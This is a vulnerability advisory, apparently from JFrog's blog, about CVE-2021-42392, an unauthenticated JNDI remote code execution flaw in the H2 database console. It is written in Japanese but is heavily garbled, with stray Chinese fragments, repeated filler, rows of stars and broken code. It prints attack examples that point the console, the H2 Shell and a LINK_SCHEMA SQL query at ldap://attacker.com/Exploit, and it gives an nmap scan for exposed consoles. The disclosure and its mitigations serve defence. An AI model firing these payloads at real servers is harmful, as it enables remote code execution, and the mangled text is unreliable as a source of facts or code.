ni / ni / ni / nih2

JNDI漏洞- H2数据库控制台中未经身份验证的RCE

刷刷刷刷

JFrogセキュリティリサーチチームは,H2データベースコンソールの脆弱性を公開し,クリティカルなcve - 2021 - 42392。Apache Log4jLog4Shell(jndi。

H2は,非常に人気のあるオープンソースのJava SQLデータベースで,データをディスクに保存する必要がない,軽量のインメモリ・ソリューションを提供するものです。……春天的引导网页ThingWorksなどの物联网プラットフォームまで,さまざまなプロジェクトで人気のデータストレージソリューションとなっています。com.h2database: h2,, 50,7000

JNDI (Java)に関連するあらゆるものが現在世の中が過敏な状況であるため,今回のH2脆弱性に関する技術的な詳細説明に入る前に,危険になる前提や設定をまず明らかにします。

整整整整,整整整整,整整齐齐,整整齐齐,整整齐齐cve - 2021 - 42392はLog4Shell (cve - 2021 - 44228)ほどは広まらない

  1. 。すなわち,最初のリクエストを処理するサーバ(H2コンソール)が,远端控制设备の影響を受ける典型的なサーバとなります。。
  2. H2データベースのバニラディストリビューションでは,デフォルトでH2コンソールはlocalhostのみを待ち受けするようになっており,この設定では安全です。この点は,Log4jのデフォルト設定でエクスプロイトが可能だったLog4Shellとは異なります。★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★
  3. 。コンソール以外にもこの脆弱性をエクスプロイトするベクタはありますが,これらの他のベクタはコンテキストに依存するため,リモート攻撃者の難度は上がります。

とはいえ局域网(最悪の場合WAN)に公開されているH2コンソールを実行している場合,この問題は極めてクリティカル(未認証のリモートコード実行)ですので,直ちにH2データベースをバージョン2.0.206にバージョンアップすることが必要的啊哈!

また,多くの開発ツールがH2データベースに依存し,特にH2コンソールを公開していることが確認されています(いくつかの例はこのブログの後半に記載)。人気のあるリポジトリに悪意あるパッケージが存在するなど,開発者をターゲットとしたサプライチェーン攻撃という昨今の傾向は,開発者ツールがすべての合理的なユースケースに対して安全であることの重要性をより高めています。。

JFrog, ?

Log4Shellの脆弱性の混乱から私たちが得た重要なポイントの1つは,JNDIが広く使われているため,Log4Shellと同じ根本原因,つまり任意のJNDIルックアップURLを受け入れることによる影響を受けるパッケージがより多く存在するに違いないということでした。そこで,Log4Shellと同様の問題を見つけられるように,自動化された脆弱性検出フレームワークを調整し,javax.naming.Context.lookup関数を危険な関数(水槽ーシンクー脆弱なポイント)として位置づけ,そのフレームワークによるスキャンをMaven对,对,对。

。JFrog,。,GitHub? ? ? ? ?続いて,クリティカルなcve - 2021 - 4239? ? ? ? ? ?

このブログでは,H2データベースで発見した,リモートでのJNDIルックアップのトリガを可能にするいくつかの攻撃ベクタを紹介します。(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1))

脆弱性の根本原因ーJNDIリモートクラスローディング

Log4Shell、Log4Shell、Log4Shell、Log4Shell、Log4Shell。H2データベースフレームワークのいくつかのコードパスが,フィルタリングされず,そして攻撃者が操をるURL
javax.naming.Context.lookup関数に渡すことで,リモートからのコードベースの読み込み(別名:Javaコードインジェクション,リモートコード実行)が可能になります。

【翻译】org.h2.util.JdbcUtils.getConnection。ドライバのクラスがjavax.naming.Contextクラスに割り当て可能な場合,このメソッドはそのクラスからオブジェクトをインスタンス化し,その查找メソッドを呼び出します。

else if (javax.naming.Context.class.isAssignableFrom(d)) {// JNDI context context context = (context). getdeclaredconstructor ().newInstance();数据源ds =(数据源)context.lookup(url);if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {return ds.getConnection();}返回ds。getConnection(用户、密码);}

javax.naming.InitialContextなどのドライバクラスとldap: / / attacker.com/Exploit

この攻撃の流れをまったく知らないという人はもはや少数派かもしれませんが,ここで視覚化しておきましょう。

JNDI攻击流

Cve-2021-42392

H2

H2网页。このコンソールは,JARを次のように実行すると,デフォルトでhttp://localhost: 8082にてサービスが開始されます。

Java -jar bin/h2.jar

Windows操作系统,Windows操作系统,Windows操作系统,Windows操作系统

Windows开始菜单- H2控制台应用程序

さらに,H2を組み込みライブラリとして使用している場合は,Javaからコンソールを起動することができます。

h2Server =服务器。createWebServer("-web", "-webAllowOthers", "-webPort", "8082");h2Server.start ();

コンソールへのアクセスは,ログインフォームで保護されており,“司机”と“url”のフィールドの入力値がJdbcUtils.getConnection。このフローでは,ユーザ名とパスワードが検証される前にURL指定の検索(例ではLDAP検索)が実施されるため,認証されない远端控制设备につながります。

通用H2 -登录表格

。。

H2控制台首选项UI

または,コマンドライン引数で-webAllowOthers★★★★★★

しかし残念ながら,H2データベースに依存するいくつかのサードパーティツールは,デフォルトで。?时髦的人もH2コンソールを公開しており,デフォルトでwebAllowOtherプロパティを真正的★★★★★★

# H2服务器属性0=JHipster H2(内存)|org.h2。Driver|jdbc\:h2\:mem\:jhbomtest|jhbomtest webAllowOthers=true webPort=8092 webSSL=false

ドキュメントにあるように,JHipsterフレームワークを使用してアプリケーションを実行する場合,デフォルトでは,H2コンソールはJHipster Webインターフェースの/ h2-console

JHipster web界面

H2データベースは非常に多くのアーティファクトで使用されているため,H2コンソールの脆弱なデプロイメントがどれだけ多く存在するかを定量的に示すことは困難です。しかしながら,パブリックな検索ツールによってWANに面した脆弱なコンソールを見つけることが可能であるという事実からも,これが最も深刻な攻撃ベクタであると考えます。

H2Shell

ビルトインのH2壳では,コマンドライン引数を操作できる攻撃者が,すでに述べたような脆弱な司机url? ? ? ? ?

Java -cp h2*.jar org.h2.tools。Shell -driver javax. naminginitialcontext -url ldap://attacker.com:1387/Exploit

この攻撃ベクタは,リモートからの入力をこれらのコマンドライン引数にパイプするためのカスタムコードが必要なため,攻撃実現可能性は極めて低いと考えられます。もしこのようなカスタムコードが存在するならば,すなわち攻撃者がコマンドラインの一部を操作できる場合は,攻撃の可能性が高くなります。。★★★★★★★★★★★Yamaleのブログ★★★★★★

SQL

一包一包JdbcUtils.getConnectionは,H2データベースにデフォルトで用意されているいくつかのSQLストアドプロシージャによっても呼び出される可能性があります。いくつかのプロシージャを確認しましたが,これらはすべて,認証された(DB)管理者のみが呼び出すことができる中文:。

?LINK_SCHEMAストアドプロシージャは,次のクエリで示されるように,脆弱な関数にドライバとURLの引数を直接渡します。

SELECT * FROM LINK_SCHEMA('pwnfr0g', 'javax.naming. ')InitialContext', 'ldap://attacker.com:1387/Exploit', 'pwnfr0g', 'pwnfr0g', 'PUBLIC');

ストアドプロシージャはDB管理者のみに制限されているため,最も可能性の高い攻撃ベクタは,個別のSQLインジェクションの欠陥を利用しての远端控制设备エスカレーションだと考えられます。

Cve-2021-42392 ?

ネットワーク管理者は,ローカルサブネットでH2コンソールのオープンインスタンスをnmap

nmap -sV——script http-title——script-args "http-title。url=/" -p80,443,8000-9000 192.168.0.0/8 | grep "H2 Console"

(バニラインストールのデフォルトのコンソールエンドポイントは"ですが,サードパーティのツールで展開されたH2コンソールでは異なる場合があります)

通磁、通磁、通磁、通磁、通磁、通磁、通磁、通磁、通磁、通磁、通磁、通磁、通磁、通磁。

前述のように,他の攻撃手段もありますが,それらを利用したリモートからのエクスプロイトの可能性はかなり低いです。それでもなお,H2データベースをアップグレードすることをお勧めします(以下の”推奨修正案”を参照)。

CVE-2021-42392 ?

。JavaHttpServlet.doGet / doPostメソッドをユーザの入力ソース(具体的には1番目の点播引数)として定義し,前述のjavax.naming.Context.lookup

。对了!赤色

CVE-2021-42392 -追踪数据

Cve-2021-42392 ?

H22.0.206。★★★★他の攻撃ベクタが存在し、そのエクスプロイトの可能性を確認するのが困難である場合があるためです。

2.0.206, jndi url ()javaプロトコルのみを使用するように制限し,つまりはリモートのLDAP / RMIクエリを拒否することでcve - 2021 - 42392を修正しています。★★★★Log4j 2.17.0★★★★★

Cve-2021-42392 ?

H2。

  1. Log4Shellの時と同様,新しいバージョンのJavaは,JNDI経由でリモートコードベースを単純にロードしないように修正されています(trustURLCodebase)。この緩和策を有効にするためにJava JRE / JDKのバージョンをアップグレードすることを推奨します。

    • 6 u211
    • 7 u201
    • 8 u191
    • 11.0.1

    ★★★★★★★★それぞれの”ガジェット”クラスがクラスパスに含まれている限り,シリアライズされた”ガジェット”JavaオブジェクトをLDAPで送信することで回避することができるからです(H2データベースを実行するサーバによって異なります)。Log4Shellローカルガジェットクラスを持つシリアライズされたJavaオブジェクトの使用“。

  2. H2コンソールサーブレットを(スタンドアロンのH2 Webサーバを使用せずに)Webサーバに配置する場合,特定ユーザのみがコンソールページにアクセスできるようにセキュリティ制約を追加できます。適切な設定例はこちらをご覧ください

謝辞

この問題を検証し,タイムリーに修正し,責任を持ってセキュリティアドバイザリを作成してくれたH2データベースのメンテナンスチームに感謝します。

結論

★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★最新のバージョン

JFrogセキュリティリサーチチームは,責任ある情報公開という目的と,JFrog x光のお客様のために将来のゼロデイ検出能力の向上という目的の双方の達成のために,同様のJNDI脆弱性を継続的にスキャンしています。

JFrogの知る限りcve - 2021 - 42392はLog4Shell以降に公開された最初のJNDI関連の脆弱性ですが,これが最後ではないと思われます。

このブログでは,将来の攻撃からソフトウェアのサプライチェーンを守るために役立つ情報や技術的な分析情報を提供していきます。

その間,JFrogプラットフォームを使用することで,ソフトウェアサプライチェーンにおけるLog4jの脆弱性をどう検出し,影響をどう緩和できるのかをぜひご体験ください。